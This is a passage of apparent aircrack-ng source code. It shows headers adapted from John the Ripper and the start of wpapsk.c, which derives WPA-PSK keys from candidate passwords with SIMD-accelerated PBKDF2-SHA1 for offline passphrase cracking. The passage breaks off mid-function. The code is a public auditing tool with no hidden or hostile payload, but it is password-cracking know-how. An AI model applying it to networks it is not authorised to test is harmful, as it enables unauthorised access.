SHA1_N_STR "4x" #else #define SHA1_SSE_PARA 2 //#define SHA1_N_STR "8x" #endif #endif #define STR_VALUE(arg) #arg #define PARA_TO_N(n) STR_VALUE(n) "x" #define PARA_TO_MxN(m, n) STR_VALUE(m) "x" STR_VALUE(n) #if SIMD_PARA_MD4 > 1 #define MD4_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_MD4) #else #define MD4_N_STR PARA_TO_N(SIMD_COEF_32) #endif #if SIMD_PARA_MD5 > 1 #define MD5_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_MD5) #else #define MD5_N_STR PARA_TO_N(SIMD_COEF_32) #endif #if SIMD_PARA_SHA1 > 1 #define SHA1_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA1) #else #define SHA1_N_STR PARA_TO_N(SIMD_COEF_32) #endif #if SIMD_PARA_SHA256 > 1 #define SHA256_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA256) #else #define SHA256_N_STR PARA_TO_N(SIMD_COEF_32) #endif #if SIMD_PARA_SHA512 > 1 #define SHA512_N_STR PARA_TO_MxN(SIMD_COEF_64, SIMD_PARA_SHA512) #else #define SHA512_N_STR PARA_TO_N(SIMD_COEF_64) #endif #define SHA_BUF_SIZ 16 #define NT_X86_64 #ifndef SIMD_CORE #define MMX_TYPE " SSE2" #define MMX_COEF 4 #define MMX_COEF_SHA256 4 #define MMX_COEF_SHA512 2 #endif #endif /* __SSE2__ */ #define BF_ASM 0 #define BF_SCALE 1 /* * 3x (as opposed to 2x) interleaving provides substantial speedup on Core 2 * CPUs, as well as slight speedup on some other CPUs. Unfortunately, it * results in lower cumulative performance with multiple concurrent threads or * processes on some newer SMT-capable CPUs. While this has nothing to do with * AVX per se, building for AVX implies we do not intend to run on a Core 2 * (which has at most SSE4.1), so checking for AVX here provides an easy way to * avoid this performance regression in AVX-enabled builds. In multi-binary * packages with runtime fallbacks, the AVX-enabled binary would invoke a * non-AVX fallback binary from its john.c if run e.g. on a Core 2. We could * check for SSE4.2 rather than AVX here, as SSE4.2 was introduced along with * SMT-capable Nehalem microarchitecture CPUs, but apparently those CPUs did * not yet exhibit the performance regression with 3x interleaving. Besides, * some newer CPUs capable of SSE4.2 but not AVX happen to lack SMT, so will * likely benefit from the 3x interleaving with no adverse effects for the * multi-threaded case. * * In Jumbo, we may get BF_X2 from autoconf (after testing ht cpuid flag). */ #ifndef BF_X2 #if __AVX__ && HAVE_HT && _OPENMP #define BF_X2 1 #else #define BF_X2 3 #endif #endif #endif aircrack-ng-1.2-rc4/src/MD5_std.h0000644000000000000000000001261312640667310015130 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This file is part of John the Ripper password cracker, * Copyright (c) 1996-2000,2003,2011 by Solar Designer * * ...with changes in the jumbo patch, by bartavelle and magnum * * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * There's ABSOLUTELY NO WARRANTY, express or implied. */ /* * FreeBSD-style MD5-based password hash implementation. */ #ifndef _MD5_STD_H #define _MD5_STD_H #include "arch.h" #include "jcommon.h" typedef ARCH_WORD_32 MD5_word; /* * Binary ciphertext type. */ typedef MD5_word MD5_binary[4]; /* * Various structures for internal use. */ typedef union { double dummy; MD5_word w[15]; char b[60]; } MD5_block; typedef struct { int length; MD5_block *even, *odd; } MD5_pattern; typedef struct { char s[8]; struct { int p, s, ps, pp, psp; } l; struct { MD5_block p, sp, pp, spp; } e; struct { MD5_block p, ps, pp, psp; } o; } MD5_pool; #if !MD5_IMM typedef struct { MD5_word AC[64]; MD5_word IV[4]; MD5_word masks[2]; } MD5_data; #endif #ifdef SIMD_PARA_MD5 # ifndef SIMD_COEF_32 # define SIMD_COEF_32 4 # endif # define MD5_N (SIMD_PARA_MD5*SIMD_COEF_32) #else # undef MD5_ALGORITHM_NAME # if MD5_X2 # define MD5_N 2 # define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR " X2" # else # define MD5_N 1 # define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR # endif #endif typedef struct { #if !MD5_IMM MD5_data data; #endif MD5_binary out[MD5_N]; MD5_block _block[MD5_N]; MD5_pattern _order[21][MD5_N]; MD5_pool _pool[MD5_N]; char *prefix; int prelen; } MD5_std_combined; #if defined(_OPENMP) && !MD5_ASM #define MD5_std_mt 1 #define MD5_std_cpt 128 #define MD5_std_mt_max (MD5_std_cpt * 576) extern MD5_std_combined *MD5_std_all_p; extern int MD5_std_min_kpc, MD5_std_max_kpc; extern int MD5_std_nt; #define MD5_std_all_align 64 #define MD5_std_all_size \ ((sizeof(MD5_std_combined) + (MD5_std_all_align - 1)) & \ ~(MD5_std_all_align - 1)) #ifdef __GNUC__ #define MD5_std_all \ (*(MD5_std_combined *)((char *)MD5_std_all_p + t)) #define for_each_t(n) \ for (t = 0; t < (n) * MD5_std_all_size; t += MD5_std_all_size) #define init_t() \ int t = (unsigned int)index / MD5_N * MD5_std_all_size; \ index = (unsigned int)index % MD5_N; #else /* * For compilers that complain about the above e.g. with "iteration expression * of omp for loop does not have a canonical shape". */ #define MD5_std_all \ (*(MD5_std_combined *)((char *)MD5_std_all_p + t * MD5_std_all_size)) #define for_each_t(n) \ for (t = 0; t < (n); t++) #define init_t() \ int t = (unsigned int)index / MD5_N; \ index = (unsigned int)index % MD5_N; #endif #else #define MD5_std_mt 0 extern MD5_std_combined MD5_std_all; #define for_each_t(n) #define init_t() #endif /* * MD5_std_crypt() output buffer. */ #define MD5_out MD5_std_all.out // these 2 are still used by the 'para' function #define MD5_TYPE_APACHE 1 #define MD5_TYPE_STD 2 #define MD5_TYPE_AIX 3 /* * Initializes the internal structures. */ struct fmt_main; extern void MD5_std_init(struct fmt_main *self); /* * Sets a salt for MD5_std_crypt(). */ extern void MD5_std_set_salt(char *salt); /* * Sets a key for MD5_std_crypt(). * Currently only supports keys up to 15 characters long. */ extern void MD5_std_set_key(char *key, int index); /* * Main hashing routine, sets MD5_out. */ extern void MD5_std_crypt(int count); /* * Returns the salt for MD5_std_set_salt(). */ extern char *MD5_std_get_salt(char *ciphertext); /* * Converts an ASCII ciphertext to binary. */ extern MD5_word *MD5_std_get_binary(char *ciphertext); #endif aircrack-ng-1.2-rc4/src/gcrypt-openssl-wrapper.h0000644000000000000000000001311712004011237020321 0ustar rootroot#ifndef _GCRYPT_OPENSSL_WRAPPER_H #define _GCRYPT_OPENSSL_WRAPPER_H /* * * gcrypt-openssl-wrapper.h * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include // RC4_* #define RC4_KEY gcry_cipher_hd_t #define RC4_set_key(h, l, k) do { \ gcry_cipher_open(h, GCRY_CIPHER_ARCFOUR, GCRY_CIPHER_MODE_STREAM, 0); \ gcry_cipher_setkey(*h, k, l); \ } while (0) // we need to release the handle to avoid memory leaks. // And in the actual code there are not repeat calls to RC4() without calling // RC4_set_key() first, so we can encapsulate the call to gcry_cipher_close() inside RC4() // This should be changed if you call RC4() without calling RC4_set_key before #define RC4(h, l, s, d) do { \ gcry_cipher_encrypt(*h, d, l, s, l) ; \ gcry_cipher_close(*h); \ } while(0) // SHA_* (We use the sha1-git implementation because is much faster) #define SHA_CTX blk_SHA_CTX #define SHA1_Init(ctx) blk_SHA1_Init(ctx) #define SHA1_Update(ctx,buffer,len) blk_SHA1_Update(ctx,buffer,len) #define SHA1_Final(digest,ctx) blk_SHA1_Final(digest,ctx) // EVP_* #define EVP_md5() GCRY_MD_MD5 #define EVP_sha1() GCRY_MD_SHA1 // AES_* #define AES_KEY gcry_cipher_hd_t #define AES_encrypt(text, enc_out, ctx) gcry_cipher_encrypt(*ctx, enc_out, 16, text, 16) #define AES_set_encrypt_key(key, len, ctx) do { \ gcry_cipher_open(ctx, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0); \ gcry_cipher_setkey(*ctx, key, len/8); \ } while (0) // HMAC_* #define HMAC_CTX gcry_md_hd_t #define HMAC_CTX_cleanup(ctx) gcry_md_close(*ctx) #define HMAC_CTX_init(ctx) ; // noop #define HMAC_Init_ex(ctx, key, len, md, engine) HMAC_Init(ctx, key, len, md) #define HMAC_Init(ctx, key, len, md) do { \ if ((len==0)||(key==NULL)||(md==0)) { \ gcry_md_reset(*ctx); \ } else { \ gcry_md_open(ctx, md, GCRY_MD_FLAG_HMAC); \ gcry_md_setkey(*ctx, key, len); \ } \ } while (0) #define HMAC_Update(ctx, data, len) gcry_md_write(*ctx, data, len) #define HMAC_Final(ctx, md, len) do { \ memcpy( md, \ gcry_md_read(*ctx, 0), \ gcry_md_get_algo_dlen(gcry_md_get_algo(*ctx)) \ ); \ } while (0) #define HMAC(algo, key, klen, data, dlen, res, rlen) do { \ gcry_md_hd_t mdh; \ gcry_md_open(&mdh, algo, GCRY_MD_FLAG_HMAC); \ gcry_md_setkey(mdh, key, klen); \ gcry_md_write(mdh, data, dlen); \ memcpy(res, gcry_md_read(mdh, algo), \ gcry_md_get_algo_dlen (algo)); \ gcry_md_close(mdh); \ } while (0) // http://tumblr.spantz.org/post/214737529/the-use-of-do-while-0-in-c-macros #endif // _GCRYPT_OPENSSL_WRAPPER_H aircrack-ng-1.2-rc4/src/wpapsk.c0000644000000000000000000004740312655771535015211 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This software is Copyright (c) 2012 Lukas Odzioba * and it is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * Code is based on Aircrack-ng source * * SSE2 code enhancement, Jim Fougeron, Jan, 2013. * Also removed oSSL code: HMAC(EVP_sha1(), ....), and coded what it does * (which is simple), inline. */ #ifndef USE_GCRYPT #include #else #include "sha1-git.h" #endif #include #include #ifdef SIMD_CORE #include "simd-intrinsics.h" #else #include "sse-intrinsics.h" #endif #include "aircrack-ng.h" #include "wpapsk.h" #include "johnswap.h" #include "memory.h" //#define XDEBUG #if defined(__INTEL_COMPILER) #define SIMD_PARA_SHA1 1 #elif defined(__clang__) #define SIMD_PARA_SHA1 2 #elif defined(__llvm__) #define SIMD_PARA_SHA1 2 #elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4 #define SIMD_PARA_SHA1 1 #elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0 #define SIMD_PARA_SHA1 1 #else #define SIMD_PARA_SHA1 1 #endif #ifdef SIMD_CORE #ifdef SIMD_COEF_32 # define NBKEYS (SIMD_COEF_32 * SIMD_PARA_SHA1) # ifdef _OPENMP # include # endif #else # define NBKEYS 1 # ifdef _OPENMP # include # endif #endif #else #ifdef MMX_COEF # define NBKEYS (MMX_COEF * SHA1_SSE_PARA) # ifdef _OPENMP # include # endif #else # define NBKEYS 1 # ifdef _OPENMP # include # endif #endif #endif #include "memdbg.h" #ifndef SIMD_CORE #undef SIMDSHA1body #define SIMDSHA1body SSESHA1body #endif #define MIN_KEYS_PER_CRYPT 1 #ifdef JOHN_AVX2 #define MAX_KEYS_PER_CRYPT 8 #else #define MAX_KEYS_PER_CRYPT 4 #endif char itoa64[64] = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; char atoi64[0x100]; wpapsk_password *wpapass[128] = { 0 }; unsigned char *xpmk1[128] = { NULL }; unsigned char *xpmk2[128] = { NULL }; unsigned char *xpmk3[128] = { NULL }; unsigned char *xpmk4[128] = { NULL }; unsigned char *xpmk5[128] = { NULL }; unsigned char *xpmk6[128] = { NULL }; unsigned char *xpmk7[128] = { NULL }; unsigned char *xpmk8[128] = { NULL }; unsigned char *xsse_hash1[128] = { NULL }; unsigned char *xsse_crypt1[128] = { NULL }; unsigned char *xsse_crypt2[128] = { NULL }; /* for endianity conversion */ #ifdef SIMD_CORE #define GETPOS(i, index) ((index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 + (3-((i)&3)) + (unsigned int)index/SIMD_COEF_32*SHA_BUF_SIZ*SIMD_COEF_32*4 ) #else #define GETPOS(i, index) ((index&(MMX_COEF-1))*4 + ((i)&(0xffffffff-3) )*MMX_COEF + (3-((i)&3)) + (index>>(MMX_COEF>>1))*SHA_BUF_SIZ*MMX_COEF*4 ) #endif void init_ssecore(int threadid) { if (xsse_hash1[threadid] == NULL) { // printf("allocing ssememory[%d]\n", threadid); xsse_hash1[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xsse_crypt1[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xsse_crypt2[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xpmk1[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xpmk2[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xpmk3[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xpmk4[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xpmk5[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xpmk6[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xpmk7[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); xpmk8[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); wpapass[threadid] = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD); } } void free_ssecore(int threadid) { if (xsse_hash1[threadid] != NULL) { MEM_FREE(xsse_hash1[threadid]); MEM_FREE(xsse_crypt1[threadid]); MEM_FREE(xsse_crypt2[threadid]); MEM_FREE(xpmk1[threadid]); MEM_FREE(xpmk2[threadid]); MEM_FREE(xpmk3[threadid]); MEM_FREE(xpmk4[threadid]); MEM_FREE(xpmk5[threadid]); MEM_FREE(xpmk6[threadid]); MEM_FREE(xpmk7[threadid]); MEM_FREE(xpmk8[threadid]); MEM_FREE(wpapass[threadid]); } } static void set_key(char *key, int index, wpapsk_password *in) { uint8_t length = strlen(key); if (length > PLAINTEXT_LENGTH) length = PLAINTEXT_LENGTH; in[index].length = length; // inbuffer[index].length = length; memcpy(in[index].v, key, length); // count = index+1; } static MAYBE_INLINE void wpapsk_sse(int threadid, int count, char *salt, wpapsk_password * in) { int t; // thread count #ifdef XDEBUG int prloop = 0; #endif int salt_length = strlen(salt); int slen = salt_length + 4; int loops = (count+NBKEYS-1) / NBKEYS; uint8_t tmpbuf[32]; char xsalt[32+4]; static unsigned char *sse_hash1 = NULL; static unsigned char *sse_crypt1 = NULL; static unsigned char *sse_crypt2 = NULL; static wpapsk_password *inbuffer; //table for candidate passwords (pointer to threads copy) unsigned char essid[32 + 4]; inbuffer = wpapass[threadid]; sse_hash1 = xsse_hash1[threadid]; sse_crypt1 = xsse_crypt1[threadid]; sse_crypt2 = xsse_crypt2[threadid]; sprintf(xsalt, "%s", salt); { int index; for (index = 0; index < cpuinfo.simdsize; ++index) { // set the length of all hash1 SSE buffer to 64+20 * 8 bits. The 64 is for the ipad/opad, // the 20 is for the length of the SHA1 buffer that also gets into each crypt. // Works for SSE2i and SSE2 #ifdef SIMD_CORE ((unsigned int *)sse_hash1)[15*SIMD_COEF_32 + (index&(SIMD_COEF_32-1)) + (unsigned int)index/SIMD_COEF_32*SHA_BUF_SIZ*SIMD_COEF_32] = (84<<3); // all encrypts are 64+20 bytes. #else ((unsigned int *)sse_hash1)[15*MMX_COEF + (index&(MMX_COEF-1)) + (index>>(MMX_COEF>>1))*SHA_BUF_SIZ*MMX_COEF] = (84<<3); // all encrypts are 64+20 bytes. #endif sse_hash1[GETPOS(20,index)] = 0x80; } } // printf("t = %d, nbkeys = %d, loops = %d, essid = %s\n", count, NBKEYS, loops, xsalt); memset(essid, 0, 32 + 4); memcpy(essid, xsalt, salt_length); for (t = 0; t < loops; t++) { unsigned int i, k, j; union { unsigned char c[64]; uint32_t i[16]; } buffer[NBKEYS]; union { unsigned char c[40]; uint32_t i[10]; } outbuf[NBKEYS]; SHA_CTX ctx_ipad[NBKEYS]; SHA_CTX ctx_opad[NBKEYS]; SHA_CTX sha1_ctx; unsigned int *i1, *i2, *o1; unsigned char *t_sse_crypt1, *t_sse_crypt2, *t_sse_hash1; // All pointers get their offset for this thread here. No further offsetting below. t_sse_crypt1 = &sse_crypt1[t * NBKEYS * 20]; t_sse_crypt2 = &sse_crypt2[t * NBKEYS * 20]; t_sse_hash1 = &sse_hash1[t * NBKEYS * SHA_BUF_SIZ * 4]; i1 = (unsigned int*)t_sse_crypt1; i2 = (unsigned int*)t_sse_crypt2; o1 = (unsigned int*)t_sse_hash1; for (j = 0; j < NBKEYS; ++j) { memset(buffer[j].c, 0, 64); memcpy(buffer[j].c, in[t*NBKEYS+j].v, in[t*NBKEYS+j].length); memset(&buffer[j].c[in[t*NBKEYS+j].length], 0, 64-in[t*NBKEYS+j].length); SHA1_Init(&ctx_ipad[j]); SHA1_Init(&ctx_opad[j]); for (i = 0; i < 16; i++) buffer[j].i[i] ^= 0x36363636; SHA1_Update(&ctx_ipad[j], buffer[j].c, 64); for (i = 0; i < 16; i++) buffer[j].i[i] ^= 0x6a6a6a6a; SHA1_Update(&ctx_opad[j], buffer[j].c, 64); // we memcopy from flat into MMX_COEF output buffer's (our 'temp' ctx buffer). // This data will NOT need to be BE swapped (it already IS BE swapped). #ifdef SIMD_CORE i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+0*SIMD_COEF_32] = ctx_ipad[j].h0; i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+1*SIMD_COEF_32] = ctx_ipad[j].h1; i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+2*SIMD_COEF_32] = ctx_ipad[j].h2; i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+3*SIMD_COEF_32] = ctx_ipad[j].h3; i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+4*SIMD_COEF_32] = ctx_ipad[j].h4; i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+0*SIMD_COEF_32] = ctx_opad[j].h0; i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+1*SIMD_COEF_32] = ctx_opad[j].h1; i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+2*SIMD_COEF_32] = ctx_opad[j].h2; i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+3*SIMD_COEF_32] = ctx_opad[j].h3; i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+4*SIMD_COEF_32] = ctx_opad[j].h4; #else i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))] = ctx_ipad[j].h0; i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+MMX_COEF] = ctx_ipad[j].h1; i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+(MMX_COEF<<1)] = ctx_ipad[j].h2; i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+MMX_COEF*3] = ctx_ipad[j].h3; i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+(MMX_COEF<<2)] = ctx_ipad[j].h4; i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))] = ctx_opad[j].h0; i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+MMX_COEF] = ctx_opad[j].h1; i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+(MMX_COEF<<1)] = ctx_opad[j].h2; i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+MMX_COEF*3] = ctx_opad[j].h3; i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+(MMX_COEF<<2)] = ctx_opad[j].h4; #endif essid[slen - 1] = 1; // HMAC(EVP_sha1(), in[j].v, in[j].length, essid, slen, outbuf[j].c, NULL); // memcpy(&buffer[j], &outbuf[j].c, 20); // This code does the HMAC(EVP_....) call. NOTE, we already have essid // appended with BE((int)1) so we simply call a single SHA1_Update memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx)); SHA1_Update(&sha1_ctx, essid, slen); SHA1_Final(outbuf[j].c, &sha1_ctx); memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx)); SHA1_Update(&sha1_ctx, outbuf[j].c, SHA_DIGEST_LENGTH); SHA1_Final(outbuf[j].c, &sha1_ctx); // now convert this from flat into MMX_COEF buffers. (same as the memcpy() commented out in the last line) // Also, perform the 'first' ^= into the crypt buffer. NOTE, we are doing that in BE format // so we will need to 'undo' that in the end. #ifdef SIMD_CORE o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+0*SIMD_COEF_32] = outbuf[j].i[0] = sha1_ctx.h0; o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+1*SIMD_COEF_32] = outbuf[j].i[1] = sha1_ctx.h1; o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+2*SIMD_COEF_32] = outbuf[j].i[2] = sha1_ctx.h2; o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+3*SIMD_COEF_32] = outbuf[j].i[3] = sha1_ctx.h3; o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+4*SIMD_COEF_32] = outbuf[j].i[4] = sha1_ctx.h4; #else o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))] = outbuf[j].i[0] = sha1_ctx.h0; o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+MMX_COEF] = outbuf[j].i[1] = sha1_ctx.h1; o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+(MMX_COEF<<1)] = outbuf[j].i[2] = sha1_ctx.h2; o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+MMX_COEF*3] = outbuf[j].i[3] = sha1_ctx.h3; o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+(MMX_COEF<<2)] = outbuf[j].i[4] = sha1_ctx.h4; #endif } for (i = 1; i < 4096; i++) { SIMDSHA1body((unsigned int*)t_sse_hash1, (unsigned int*)t_sse_hash1, (unsigned int*)t_sse_crypt1, SSEi_MIXED_IN|SSEi_RELOAD|SSEi_OUTPUT_AS_INP_FMT); SIMDSHA1body((unsigned int*)t_sse_hash1, (unsigned int*)t_sse_hash1, (unsigned int*)t_sse_crypt2, SSEi_MIXED_IN|SSEi_RELOAD|SSEi_OUTPUT_AS_INP_FMT); for (j = 0; j < NBKEYS; j++) { #ifdef SIMD_CORE unsigned *p = &((unsigned int*)t_sse_hash1)[(((j/SIMD_COEF_32)*SHA_BUF_SIZ)*SIMD_COEF_32) + (j&(SIMD_COEF_32-1))]; for(k = 0; k < 5; k++) outbuf[j].i[k] ^= p[(k*SIMD_COEF_32)]; #else unsigned *p = &((unsigned int*)t_sse_hash1)[(((j>>2)*SHA_BUF_SIZ)<<2) + (j&(MMX_COEF-1))]; for(k = 0; k < 5; k++) outbuf[j].i[k] ^= p[(k<<(MMX_COEF>>1))]; #endif } } essid[slen - 1] = 2; for (j = 0; j < NBKEYS; ++j) { // HMAC(EVP_sha1(), in[j].v, in[j].length, essid, slen, &outbuf[j].c[20], NULL); // memcpy(&buffer[j], &outbuf[j].c[20], 20); // This code does the HMAC(EVP_....) call. NOTE, we already have essid // appended with BE((int)1) so we simply call a single SHA1_Update memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx)); SHA1_Update(&sha1_ctx, essid, slen); SHA1_Final(&outbuf[j].c[20], &sha1_ctx); memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx)); SHA1_Update(&sha1_ctx, &outbuf[j].c[20], 20); SHA1_Final(&outbuf[j].c[20], &sha1_ctx); // now convert this from flat into MMX_COEF buffers. (same as the memcpy() commented out in the last line) // Also, perform the 'first' ^= into the crypt buffer. NOTE, we are doing that in BE format // so we will need to 'undo' that in the end. (only 3 dwords of the 2nd block outbuf are worked with). #ifdef SIMD_CORE o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+0*SIMD_COEF_32] = outbuf[j].i[5] = sha1_ctx.h0; o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+1*SIMD_COEF_32] = outbuf[j].i[6] = sha1_ctx.h1; o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+2*SIMD_COEF_32] = outbuf[j].i[7] = sha1_ctx.h2; o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+3*SIMD_COEF_32] = sha1_ctx.h3; o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+4*SIMD_COEF_32] = sha1_ctx.h4; #else o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))] = outbuf[j].i[5] = sha1_ctx.h0; o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+MMX_COEF] = outbuf[j].i[6] = sha1_ctx.h1; o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+(MMX_COEF<<1)] = outbuf[j].i[7] = sha1_ctx.h2; o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+MMX_COEF*3] = sha1_ctx.h3; o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+(MMX_COEF<<2)] = sha1_ctx.h4; #endif } for (i = 1; i < 4096; i++) { SIMDSHA1body((unsigned int*)t_sse_hash1, (unsigned int*)t_sse_hash1, (unsigned int*)t_sse_crypt1, 